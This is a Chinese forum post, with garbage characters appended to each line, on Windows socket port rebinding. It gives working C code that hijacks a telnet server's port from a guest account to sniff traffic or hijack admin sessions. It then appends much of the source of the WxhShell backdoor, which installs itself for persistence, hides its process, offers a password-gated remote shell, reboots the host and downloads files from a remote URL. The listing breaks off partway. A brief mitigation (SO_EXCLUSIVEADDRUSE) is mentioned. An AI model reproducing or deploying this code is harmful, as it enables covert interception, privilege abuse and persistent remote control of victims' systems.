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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dUL*~%2I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n s#v?D9NF  
`ES+$O>  
  saddr.sin_family = AF_INET; SUDvKP  
w<u@L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }5AA}=  
q"i]&dMr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q`!^EyRA:^  
3 MCV?"0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K'f^=bc I  
M(1cf(<+  
  这意味着什么?意味着可以进行如下的攻击: v7/k0D .  
sI6I5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I9e3-2THfj  
O^n\lik  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'p[*2J"K4  
%\L{Ud%7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `CRF E5  
vdh[%T,&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DzIV5FG  
JS/~6'uB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Aho-\9/x%  
'Ck:=V%}g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {e5-  
y;%\ w-.\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YU XxQ|  
W$<Y**y9m  
  #include yg6o#;  
  #include )NK#}c~5  
  #include c axOxRo\  
  #include    6n|][! f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p,tkVedR  
  int main() *zMt/d*<&  
  { +R7pdi  
  WORD wVersionRequested; !DUOi4I  
  DWORD ret; bYmk5fpRG  
  WSADATA wsaData; jZH4]^De  
  BOOL val; #ro$$I;  
  SOCKADDR_IN saddr; 9Wg;M#c2Y|  
  SOCKADDR_IN scaddr; E:-~SH}  
  int err; q VavP6I  
  SOCKET s; e jR_3K^  
  SOCKET sc; jxZf,]>T  
  int caddsize; ac6@E4 _  
  HANDLE mt; %<r}V<OeR  
  DWORD tid;   fQ1Dp  
  wVersionRequested = MAKEWORD( 2, 2 ); |)br-?2  
  err = WSAStartup( wVersionRequested, &wsaData ); ArScJ\/Nwv  
  if ( err != 0 ) { hUX8j9N>  
  printf("error!WSAStartup failed!\n"); bc NyB$S  
  return -1; ^*+j7A.n  
  } ;mg.} fI  
  saddr.sin_family = AF_INET; H?FiZy*[Y  
   )L7[;(gQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *>HS>#S  
H0jbG;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9g# 62oIg  
  saddr.sin_port = htons(23); S(^YTb7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `GlOl-  
  { v$+A!eo  
  printf("error!socket failed!\n"); Y; iI =U  
  return -1; Vk2%yw>  
  } ]1eZ<le`6  
  val = TRUE; Ups0Xg&{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Hzc}NyJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KS1udH^Zc  
  { rP,|  
  printf("error!setsockopt failed!\n"); gI9nxy  
  return -1; BG)zkn$  
  } X"mPRnE330  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $at\aJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,izp^,`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z15 =vsV  
.mg0L\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T XT<6(  
  { VKfpk^rU  
  ret=GetLastError(); PW iuM=E  
  printf("error!bind failed!\n"); Z\]LG4N?  
  return -1; he@Y1CY  
  } YMy**  
  listen(s,2); `c|H^*RC  
  while(1) M,yxPHlN  
  { uhnnjI  
  caddsize = sizeof(scaddr); wDSwcNS  
  //接受连接请求 xls US'Eo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XR p60i6f  
  if(sc!=INVALID_SOCKET) I 9?X  
  { ~p:hqi1+<+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &U CtyCz  
  if(mt==NULL) @[`]w`9Q7  
  { PMX'vA`  
  printf("Thread Creat Failed!\n"); 9b&;4Yq!f  
  break; H;@0L}Nu+}  
  } X+HPdrT  
  } =3rf}bl2  
  CloseHandle(mt); %KN2iNq  
  } 69Z`mR  
  closesocket(s); p2fzbBt  
  WSACleanup(); (&V)D?/hS  
  return 0; Im};wJ&  
  }   Fi7~JZZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0"N4WH O  
  { EM1HwapD  
  SOCKET ss = (SOCKET)lpParam; 0B2f[A  
  SOCKET sc; #,FXc~V  
  unsigned char buf[4096]; 0LIXkF3^1  
  SOCKADDR_IN saddr; xF YHv@g  
  long num; 7Up-a^k^`  
  DWORD val; iCGHcN^3  
  DWORD ret; /xr75|-8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &|Rww\oJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &uV|Ie8@q  
  saddr.sin_family = AF_INET; >* F#ZZv}p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !c0x^,iE  
  saddr.sin_port = htons(23); o/vD]Fs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pe).  
  { 9KT85t1#  
  printf("error!socket failed!\n"); .vIRz-S  
  return -1; 7 4(bo \  
  } Wcl =YB%  
  val = 100; d7x6r3J$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1gvh6eE F  
  { CSwB+yN  
  ret = GetLastError(); 31%3&B:Ts  
  return -1; P8 w56  
  } ~H[_=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >m=XqtP  
  { N ;n55N  
  ret = GetLastError(); DGz}d,ie  
  return -1; =BV_ ?  
  } qjf4G[]!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) goD#2lg  
  { /nt%VLms %  
  printf("error!socket connect failed!\n"); nn">   
  closesocket(sc); f,3K;S-he:  
  closesocket(ss); u)/i$N  
  return -1;  ZLf(m35  
  } P8ns @VV  
  while(1) n^|7ycB'  
  { =~dXP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9/R=_y-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |+<o(Q(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 + eZn  
  num = recv(ss,buf,4096,0); ? fM_Y  
  if(num>0) w'mn O'%  
  send(sc,buf,num,0); I Vw'YtZ  
  else if(num==0) =jU#0FAO  
  break; fCv.$5  
  num = recv(sc,buf,4096,0); ! ;Ctz'wz  
  if(num>0) :<1PCX2  
  send(ss,buf,num,0); 5<oV>|*@{  
  else if(num==0) %kQ[z d^  
  break; "`[4(j  
  } TF,([p*  
  closesocket(ss); C}:_&^DQ  
  closesocket(sc); ^Uik{x  
  return 0 ; \YsLVOv%:d  
  } U-q:Y-h  
cNl$ vP83z  
dQNW1-s  
========================================================== IBh?vh  
b X/%Q^Y  
下边附上一个代码,,WXhSHELL [>:9 #n  
#ePtfRzJ  
========================================================== qa?0GTAS  
3rx 8"  
#include "stdafx.h" {9nH#yv  
j$z!kd+%  
#include <stdio.h> N6!9QIu~i  
#include <string.h> ]%h|ox0  
#include <windows.h> 14h0$7  
#include <winsock2.h> qu/b:P  
#include <winsvc.h> /nNrvMt v  
#include <urlmon.h> }#`-mRaU  
y,$zSPJCi  
#pragma comment (lib, "Ws2_32.lib") mGc i >)2  
#pragma comment (lib, "urlmon.lib") Twk,R. O  
H+VjY MvK  
#define MAX_USER   100 // 最大客户端连接数 -JXCO <~k  
#define BUF_SOCK   200 // sock buffer ]_:j+6i  
#define KEY_BUFF   255 // 输入 buffer ()(/9t  
h09fU5l  
#define REBOOT     0   // 重启 T<u QhPMw  
#define SHUTDOWN   1   // 关机 wv&%09U  
p</V_BIW  
#define DEF_PORT   5000 // 监听端口 ?.69nN  
vC-5_pl  
#define REG_LEN     16   // 注册表键长度 l9F]Lw  
#define SVC_LEN     80   // NT服务名长度 <io;d$=}  
- D^v:aC  
// 从dll定义API ]4)$dQ59  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E:$r" oS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C+aL8_(R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4cJka~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d0G d5%  
x^6b$>1  
// wxhshell配置信息 b("M8}o  
struct WSCFG { k'-5&Q  
  int ws_port;         // 监听端口 &z;1Z  
  char ws_passstr[REG_LEN]; // 口令 jmn<gJ2Of  
  int ws_autoins;       // 安装标记, 1=yes 0=no  7D\:i1~  
  char ws_regname[REG_LEN]; // 注册表键名 &u9@FFBT8  
  char ws_svcname[REG_LEN]; // 服务名 Jm]P,jaLc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7H_*1_%ZQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =g$>]AE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KDJ-IXoU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '2xfU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lVo}DFZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DkeFDzQ5  
5HW'nhE  
}; 9=p/'d8  
\EQCR[7qu7  
// default Wxhshell configuration 'qiDh[ATa  
struct WSCFG wscfg={DEF_PORT, !ZzDSQ ;  
    "xuhuanlingzhe", jLF,R7t  
    1, C0 o  
    "Wxhshell", -=a,FDeR  
    "Wxhshell", n>?eTlO3  
            "WxhShell Service", >4]y)df5  
    "Wrsky Windows CmdShell Service", m53~Ysq<  
    "Please Input Your Password: ", +VRM:&  
  1, "aJf W  
  "http://www.wrsky.com/wxhshell.exe", I|vfxf  
  "Wxhshell.exe" aW;DfH  
    }; G?5Vj_n  
\??20iz  
// 消息定义模块 T!Z).PA#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )6:1`&6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HAdDr!/`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _j}jh[M  
char *msg_ws_ext="\n\rExit."; /DoSU>%hK  
char *msg_ws_end="\n\rQuit."; 1Y(NxC0P=g  
char *msg_ws_boot="\n\rReboot..."; F8d:7`lO@/  
char *msg_ws_poff="\n\rShutdown..."; }ISc^W) t  
char *msg_ws_down="\n\rSave to "; *`~]XM@H  
Y [%<s/  
char *msg_ws_err="\n\rErr!"; pRGag~h|E  
char *msg_ws_ok="\n\rOK!"; JbLHW26pl  
GtpBd40"  
char ExeFile[MAX_PATH]; kKz>]t"A  
int nUser = 0; ;U]Ym48  
HANDLE handles[MAX_USER]; }}gtz-w  
int OsIsNt; (e _l1O?  
S$NJmXhx5  
SERVICE_STATUS       serviceStatus; [K""6D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xt1Ug~5  
A#8J6xcSrL  
// 函数声明 %abc -q  
int Install(void); (qDPGd*1  
int Uninstall(void); +D d !  
int DownloadFile(char *sURL, SOCKET wsh); @!p0<&R@x  
int Boot(int flag); V2 >+s y  
void HideProc(void); e&-MP;kgW9  
int GetOsVer(void); (Q}ByX  
int Wxhshell(SOCKET wsl); !Wz4BBU8o  
void TalkWithClient(void *cs); <7_s'UAL!  
int CmdShell(SOCKET sock); <ZjT4><  
int StartFromService(void); \Sv8c}8  
int StartWxhshell(LPSTR lpCmdLine); +,T z +!  
/Csk"IfuO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iaHL&)[YK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _f"KB=A_x  
ToM1#]4  
// 数据结构和表定义 G>,43S!<  
SERVICE_TABLE_ENTRY DispatchTable[] = 1 RVs!;  
{ r7-H`%.  
{wscfg.ws_svcname, NTServiceMain}, VWrb`p@  
{NULL, NULL} jbWgL$  
}; $ D.*r*c6  
\hI|I!sDWy  
// 自我安装 #@L5yy2  
int Install(void) ujS C  
{ {$Z S 2 7  
  char svExeFile[MAX_PATH]; fLZ mQO  
  HKEY key; *yYeqm  
  strcpy(svExeFile,ExeFile); Og7^7))  
9D]bCi\  
// 如果是win9x系统,修改注册表设为自启动 1>L8EImx]V  
if(!OsIsNt) { kQD~v+u{`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z&yVU<;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >?[?W|k7V  
  RegCloseKey(key); BAojP1}+,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zi{vEI]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jHk.]4&0  
  RegCloseKey(key); (L`IL e*  
  return 0; %xA-j]%?ep  
    } `=%G&_3_<  
  } pZKK7   
} Pq1j  
else { )j!%`g  
wRg[Mu,Q5  
// 如果是NT以上系统,安装为系统服务 Z-3("%_$/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !X`cNd)0Xo  
if (schSCManager!=0) JA% y{Wb  
{ +I+RNXR/{  
  SC_HANDLE schService = CreateService jT`u!CwdT  
  ( BmaY&?  
  schSCManager, 9Zr6 KA{  
  wscfg.ws_svcname, 0E9 lv"3o  
  wscfg.ws_svcdisp, f9t+x+ Z  
  SERVICE_ALL_ACCESS, eoJ*?v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A@Cvx7X  
  SERVICE_AUTO_START, !LCy:>i!d  
  SERVICE_ERROR_NORMAL, 5 %+epzy  
  svExeFile, {LT2^gy=  
  NULL, ? M.'YB2  
  NULL, uK0L>  
  NULL, P MI?PC[;  
  NULL, ,YRBYK:  
  NULL $."F z x  
  ); `5n^DP*X  
  if (schService!=0) !&5|:96o  
  { 1Se2@WR'  
  CloseServiceHandle(schService); :lu"14  
  CloseServiceHandle(schSCManager); Zzmo7kFx3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^!$=(jh.  
  strcat(svExeFile,wscfg.ws_svcname); OS1f}<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `|mV~F|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `JyI`@,!  
  RegCloseKey(key); k> ~D  
  return 0; > w SI0N  
    } IFW7MF9V  
  } b5? kgY  
  CloseServiceHandle(schSCManager); ;p87^:  
} 9P*f  
} *?A!`JpJn  
TP/bX&bjCy  
return 1; w|NId,#f  
} ^1<i7u  
4UND;I&  
// 自我卸载 :ciD!Ly  
int Uninstall(void) 2*] [M,L0c  
{ NC iB n>=:  
  HKEY key; 7~;)N$d\  
d. ZfK  
if(!OsIsNt) { 8idIJm%y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A`"?~_pHC  
  RegDeleteValue(key,wscfg.ws_regname); Z$%!H7w  
  RegCloseKey(key); oE2VJKs<B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jv6>7@<G  
  RegDeleteValue(key,wscfg.ws_regname); '8FHn~F  
  RegCloseKey(key); ;|W:,a{kS  
  return 0; tI5*0  
  } F{_,IQ]U  
} :Ys ;)W+R  
} {s8g;yU5  
else { GkI{7GD:z  
&|' NDcp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \tY7Ga%c  
if (schSCManager!=0) ?b93! Q1  
{ 'I:_}q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bwu?DK  
  if (schService!=0) \HQ.Pwr 6  
  { Ocn@JOg  
  if(DeleteService(schService)!=0) { qE VpkvEq  
  CloseServiceHandle(schService); +}Mm5^6*  
  CloseServiceHandle(schSCManager); EQX<<x"  
  return 0; nc1?c1s,f  
  } 2|U6dLZ!  
  CloseServiceHandle(schService); y=jZ8+M   
  } 8 qZbsZi4  
  CloseServiceHandle(schSCManager); (cV1Pmn  
} ]z| 2  
} px(~ZZB"  
TtQd#mSI\  
return 1; 3#GIZ L}!x  
} d/awQXKe7  
`tcX[(`  
// 从指定url下载文件 M(uJ'Ud/!  
int DownloadFile(char *sURL, SOCKET wsh) [fELf(;(  
{ s OLjT34  
  HRESULT hr; 9[DlJ@T}  
char seps[]= "/"; 2=%]Ax"R  
char *token; 6Q{OM:L/;.  
char *file; 51* [Ibx  
char myURL[MAX_PATH]; .q!i +0  
char myFILE[MAX_PATH]; " RIt  
oa[O~z{~  
strcpy(myURL,sURL); kf#S"[/E  
  token=strtok(myURL,seps); hzpl;Mj  
  while(token!=NULL) 2 zG;91^  
  { m9 ]Ge]  
    file=token; I]3!M`IMG  
  token=strtok(NULL,seps); lhf5[Rp  
  } zsR5"Vi=  
}]<|`FNc  
GetCurrentDirectory(MAX_PATH,myFILE); D=Yr/qc?  
strcat(myFILE, "\\"); g_?Q3  
strcat(myFILE, file); -.L )\  
  send(wsh,myFILE,strlen(myFILE),0); Eb CK9  
send(wsh,"...",3,0); $Il  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7{9M ^.}  
  if(hr==S_OK) 7) a f  
return 0; WGyPyG#Fl  
else Lf%}\0:  
return 1; 4$U^)\06W  
C~. T[Mlu  
} kpNp}b8']  
@2hOy@V  
// 系统电源模块 'q RQO(9&m  
int Boot(int flag) O`aNNy  
{ 8U7d d[  
  HANDLE hToken; nwqA\  
  TOKEN_PRIVILEGES tkp; @gM}&G08  
E}<i?;  
  if(OsIsNt) { SMfa(+VI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FU.?n)P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _A0X[}^K  
    tkp.PrivilegeCount = 1; d>Nh<PqH6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;:>q;%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /FC(d5I  
if(flag==REBOOT) { hTcU %Nc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H$pgzNL  
  return 0; YD{N)v  
} "/2kf)l{4  
else { $xF[j9nM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q/*|ADoq  
  return 0; "<%J^Z9G  
} b):aqRwP  
  } #hMkajG  
  else { 2v#gCou  
if(flag==REBOOT) { z<0/#OP'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |sP0z !)b  
  return 0; 5r~hs6H  
} Pf?15POg&B  
else { %L wq.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3f~znO  
  return 0; ,e'"SVQc  
} "V`DhOG&  
} /W LZyT2  
&2O~BIRE  
return 1; IY mkZ?cW  
} %=\*OIhl  
RZ ?SiwE  
// win9x进程隐藏模块 U}5]Vm$]  
void HideProc(void) G|"m-.9F  
{ N%1nii  
UFUEY/q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hJz]N$@W  
  if ( hKernel != NULL ) 4T v=sP  
  { cR*~JwC:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V)ag ss w?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DnW/q  
    FreeLibrary(hKernel); .C ,dV7  
  }  a3a:H  
GZY:EHuz[  
return; GxC\Nj#  
} jR@>~t[}o  
?|!m  
// 获取操作系统版本 b@K1;A! S  
int GetOsVer(void) sb?!U"v.'  
{ [qk c6sqo  
  OSVERSIONINFO winfo; =wD&hDn4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pt-O1$C[  
  GetVersionEx(&winfo); 'Z#>K*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [~`p~@\+  
  return 1; P.1Z@HC  
  else g@Y]$ey%A  
  return 0; MIWc @.i2  
} s vS)7]{cU  
2:e7'}\D.  
// 客户端句柄模块 8qxZ7|Y@  
int Wxhshell(SOCKET wsl) M 8(w+h{  
{ HYY+Fv5  
  SOCKET wsh; Q]VG6x  
  struct sockaddr_in client; *Gj`1# Z$  
  DWORD myID; (<}?}{YX0  
ld 1[Usaq  
  while(nUser<MAX_USER) 9JJ6$cLF  
{ F|o 1r  
  int nSize=sizeof(client); BJ fBY H,M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B+pLW/4l  
  if(wsh==INVALID_SOCKET) return 1; ,\d03wha  
gi)C5J4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W2M[w_~QE  
if(handles[nUser]==0) SxcE@WM  
  closesocket(wsh); {]N7kY.W  
else QA)W(1  
  nUser++; F5M|QX@-  
  } #yEkd2Vy{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r/HG{XH`  
WH fl|e  
  return 0; J{L d)Q,^  
} #c'}_s2F[  
D}-HWJQA3  
// 关闭 socket $v"CQD  
void CloseIt(SOCKET wsh) 4! F$nmG)  
{ f2v~: u  
closesocket(wsh); w]N;HlU  
nUser--; %>y!N!.F  
ExitThread(0); =CCddLO  
} s!Iinc^p  
~L> &p  
// 客户端请求句柄 ,">CPl]  
void TalkWithClient(void *cs) _p9 _Pg8  
{ sAZL,w  
zn|O)"C  
  SOCKET wsh=(SOCKET)cs; v`:!$U* H=  
  char pwd[SVC_LEN]; 6Yqqq[#V/  
  char cmd[KEY_BUFF]; %L-{4Z!"sI  
char chr[1]; %z"$?Iv  
int i,j; RL/5 o"  
OGq=OW  
  while (nUser < MAX_USER) { V gy12dE  
&hZ6CV{  
if(wscfg.ws_passstr) { ]J/;Xp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D(e,R9hPU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A$;*O)  
  //ZeroMemory(pwd,KEY_BUFF); Uf?+oc'{  
      i=0; m}6>F0Kv  
  while(i<SVC_LEN) { `;m0GU68  
Kf$6D 79#  
  // 设置超时 (@O,U  
  fd_set FdRead; EFu>  
  struct timeval TimeOut; {WeRFiQ?-  
  FD_ZERO(&FdRead); 4~WSIR-  
  FD_SET(wsh,&FdRead); 1Eryw~,,9i  
  TimeOut.tv_sec=8; qa6HwlC1  
  TimeOut.tv_usec=0; i A'p!l |P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jo0XOs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XqcNFSo)  
ER4#5gd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7&V3f=aj6  
  pwd=chr[0]; q s9r$o.\l  
  if(chr[0]==0xd || chr[0]==0xa) { E <r;J  
  pwd=0; |I.5]r-EK  
  break; |(Xxi  
  } c-Qa0 Q  
  i++; V9`jq$  
    } 160BgFM  
+bWo{   
  // 如果是非法用户,关闭 socket 4k6:   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }F3}"Ik'L  
} q1/mp){  
| Y(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %XXjQ5p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mDWRYIuN  
a]I~.$G   
while(1) { ~BXy)IB6  
^4{{ +G)j  
  ZeroMemory(cmd,KEY_BUFF); uU+?:C  
]:4\ rBR3  
      // 自动支持客户端 telnet标准   9*CRMkPrd  
  j=0; 2W63/kRbU  
  while(j<KEY_BUFF) { o;pJjC]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ORfMp'uP=  
  cmd[j]=chr[0]; h>/L4j*Z  
  if(chr[0]==0xa || chr[0]==0xd) { pJQ_G`E  
  cmd[j]=0; +n|@'= ]  
  break; j7VaaA  
  } '5 9{VA6h  
  j++; S Fqq(K2u  
    } 4&B|rf  
h<BTu7a`r  
  // 下载文件 &tlU.Whk+  
  if(strstr(cmd,"http://")) { jZq CM{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  t&G #%  
  if(DownloadFile(cmd,wsh)) ~A*$+c(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @8SA^u0  
  else qwd T= H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "s\himoa  
  } =>xyJ->R  
  else { 2:6lr4{uY  
)79F"ltz h  
    switch(cmd[0]) { 0-Wv$o[  
  wUzMB ]w  
  // 帮助  '5P:;zw  
  case '?': { +3-f$/po  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -qB{TA-.\  
    break; WAb@d=H{+>  
  } z s[zB#  
  // 安装 rmhL|! Y  
  case 'i': { Z7dVy8J  
    if(Install()) s&6/fa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AH# Dk5#G  
    else >NBwtF>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <+ckE 2j  
    break; %r:Uff@  
    } ;QQ/bM&I  
  // 卸载 W_|7hwr  
  case 'r': { h x hl  
    if(Uninstall()) lJU]sZ9~b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U5H5QW+  
    else ,<=_t{^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jp#/]>(9Z  
    break; \l/<[ZZ  
    } ]goPjfWvU"  
  // 显示 wxhshell 所在路径 uSNlI78D  
  case 'p': { bU_P@GKB  
    char svExeFile[MAX_PATH]; V(6Ql j7  
    strcpy(svExeFile,"\n\r"); O[HBw~  
      strcat(svExeFile,ExeFile); lC=T{rR  
        send(wsh,svExeFile,strlen(svExeFile),0); 4 _Idf  
    break; Wvwjj~HP2}  
    } +(##B pC  
  // 重启 5`1p ?  
  case 'b': { _S6SCSFc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a*Ng+~5)6  
    if(Boot(REBOOT)) -! :h]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MF4B 2d  
    else { :.W</o~\s  
    closesocket(wsh); 9lSs;zm{Q  
    ExitThread(0); *&rV}vVP^  
    } p(S {k]ZL@  
    break; ;%$wA5"2M  
    } 5s1XO*s)>X  
  // 关机 C 4hvk'=  
  case 'd': { Hp-vBoEk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (:ij'Zbz  
